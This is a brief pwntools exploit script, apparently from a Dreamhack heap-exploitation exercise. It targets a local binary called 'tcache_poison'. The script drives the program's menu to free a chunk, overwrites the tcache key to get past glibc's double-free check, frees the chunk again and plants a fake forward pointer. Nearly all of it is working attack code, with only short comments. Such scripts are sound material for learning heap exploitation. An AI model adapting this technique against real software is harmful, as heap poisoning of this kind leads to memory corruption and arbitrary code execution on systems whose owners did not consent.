from pwn import *
p = process("./tcache_poison")
e = ELF("./tcache_poison")
def slog(symbol, addr): return success(symbol + ": " + hex(addr))
def alloc(size, data):
    p.sendlineafter("Edit\n", "1")
    p.sendlineafter(":", str(size))
    p.sendafter(":", data)
def free():
    p.sendlineafter("Edit\n", "2")
def print_chunk():
    p.sendlineafter("Edit\n", "3")
def edit(data):
    p.sendlineafter("Edit\n", "4")
    p.sendafter(":", data)
# Allocate a chunk of size 0x40
alloc(0x30, "dreamhack")
free()
# tcache[0x40]: "dreamhack"
# Bypass the DFB mitigation
edit("A"*8 + "\x00")
free()
# tcache[0x40]: "dreamhack" -> "dreamhack"
# Append "0x4141414141414141" to tcache[0x40]
alloc(0x30, "AAAAAAAA")
p.interactive()